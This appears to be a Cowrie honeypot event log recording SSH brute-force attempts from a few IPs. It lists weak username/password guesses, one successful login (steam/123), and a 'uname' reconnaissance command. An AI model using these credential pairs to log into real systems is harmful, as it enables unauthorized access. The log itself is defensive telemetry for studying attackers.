{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":60156,"dst_ip":"10.17.0.5","dst_port":22,"session":"19031e0aff74","protocol":"ssh","message":"New connection: 47.86.95.62:60156 (10.17.0.5:22) [session: 19031e0aff74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:32:38.605570Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:32:38.609792Z","src_ip":"47.86.95.62","session":"19031e0aff74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:32:38.821522Z","src_ip":"47.86.95.62","session":"19031e0aff74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome@123","message":"login attempt [root/Welcome@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:32:39.623324Z","src_ip":"47.86.95.62","session":"19031e0aff74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:32:40.899075Z","src_ip":"47.86.95.62","session":"19031e0aff74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":60408,"dst_ip":"159.203.135.109","dst_port":22,"session":"ef3f5db4f488","protocol":"ssh","message":"New connection: 2.57.122.238:60408 (159.203.135.109:22) [session: ef3f5db4f488]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:32:50.464955Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:32:50.469321Z","src_ip":"2.57.122.238","session":"ef3f5db4f488","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:32:50.574530Z","src_ip":"2.57.122.238","session":"ef3f5db4f488","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"validator","password":"validator","message":"login attempt [validator/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:32:50.890013Z","src_ip":"2.57.122.238","session":"ef3f5db4f488","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:32:51.998078Z","src_ip":"2.57.122.238","session":"ef3f5db4f488","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":38490,"dst_ip":"10.17.0.5","dst_port":22,"session":"20191d6bc960","protocol":"ssh","message":"New connection: 47.86.95.62:38490 (10.17.0.5:22) [session: 20191d6bc960]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:32:54.161420Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:32:56.906748Z","src_ip":"47.86.95.62","session":"20191d6bc960","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:32:56.915830Z","src_ip":"47.86.95.62","session":"20191d6bc960","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rock","message":"login attempt [root/rock] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:33:06.647763Z","src_ip":"47.86.95.62","session":"20191d6bc960","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.0","message":"Connection lost after 15.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:33:09.187304Z","src_ip":"47.86.95.62","session":"20191d6bc960","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00701546669006,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:33:14.855972Z","src_ip":"187.222.242.146","session":"6fb4c9829da2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":43760,"dst_ip":"10.17.0.5","dst_port":22,"session":"7b0c3ba371cd","protocol":"ssh","message":"New connection: 47.86.95.62:43760 (10.17.0.5:22) [session: 7b0c3ba371cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:33:16.818578Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:33:16.822850Z","src_ip":"47.86.95.62","session":"7b0c3ba371cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.222.242.146","src_port":32848,"dst_ip":"159.203.135.109","dst_port":23,"session":"482ca256a84a","protocol":"telnet","message":"New connection: 187.222.242.146:32848 (159.203.135.109:23) [session: 482ca256a84a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:33:17.026489Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:33:17.046529Z","src_ip":"47.86.95.62","session":"7b0c3ba371cd","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"123","message":"login attempt [steam/123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:33:17.687374Z","src_ip":"47.86.95.62","session":"7b0c3ba371cd","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:33:18.166858Z","src_ip":"47.86.95.62","session":"7b0c3ba371cd","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:33:18.170079Z","src_ip":"47.86.95.62","session":"7b0c3ba371cd","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:33:18.418549Z","src_ip":"47.86.95.62","session":"7b0c3ba371cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:33:18.877241Z","src_ip":"47.86.95.62","session":"7b0c3ba371cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":44118,"dst_ip":"10.17.0.5","dst_port":22,"session":"611f327ea2ef","protocol":"ssh","message":"New connection: 47.86.95.62:44118 (10.17.0.5:22) [session: 611f327ea2ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:33:21.697570Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:33:21.702539Z","src_ip":"47.86.95.62","session":"611f327ea2ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:33:22.025998Z","src_ip":"47.86.95.62","session":"611f327ea2ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"home","password":"home","message":"login attempt [home/home] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:33:44.717098Z","src_ip":"47.86.95.62","session":"611f327ea2ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"25.3","message":"Connection lost after 25.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:33:47.040053Z","src_ip":"47.86.95.62","session":"611f327ea2ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":59036,"dst_ip":"10.17.0.5","dst_port":22,"session":"c827c5a7382e","protocol":"ssh","message":"New connection: 47.86.95.62:59036 (10.17.0.5:22) [session: c827c5a7382e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:33:55.373530Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:33:55.382212Z","src_ip":"47.86.95.62","session":"c827c5a7382e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:33:55.590455Z","src_ip":"47.86.95.62","session":"c827c5a7382e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lsfadmin","password":"lsfadmin","message":"login attempt [lsfadmin/lsfadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:33:56.237882Z","src_ip":"47.86.95.62","session":"c827c5a7382e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:33:57.448958Z","src_ip":"47.86.95.62","session":"c827c5a7382e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":59048,"dst_ip":"10.17.0.5","dst_port":22,"session":"18c4fe9163f4","protocol":"ssh","message":"New connection: 47.86.95.62:59048 (10.17.0.5:22) [session: 18c4fe9163f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:34:00.479335Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:34:00.484131Z","src_ip":"47.86.95.62","session":"18c4fe9163f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:34:00.691351Z","src_ip":"47.86.95.62","session":"18c4fe9163f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@WSX3edc","message":"login attempt [root/1qaz@WSX3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:34:09.051783Z","src_ip":"47.86.95.62","session":"18c4fe9163f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"20.4","message":"Connection lost after 20.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:34:20.911738Z","src_ip":"47.86.95.62","session":"18c4fe9163f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":49614,"dst_ip":"10.17.0.5","dst_port":22,"session":"bccb0fcfcee8","protocol":"ssh","message":"New connection: 47.86.95.62:49614 (10.17.0.5:22) [session: bccb0fcfcee8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:34:33.406751Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:34:33.410497Z","src_ip":"47.86.95.62","session":"bccb0fcfcee8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:34:33.621251Z","src_ip":"47.86.95.62","session":"bccb0fcfcee8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"support","message":"login attempt [support/support] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:34:34.384702Z","src_ip":"47.86.95.62","session":"bccb0fcfcee8","protocol":"ssh"}
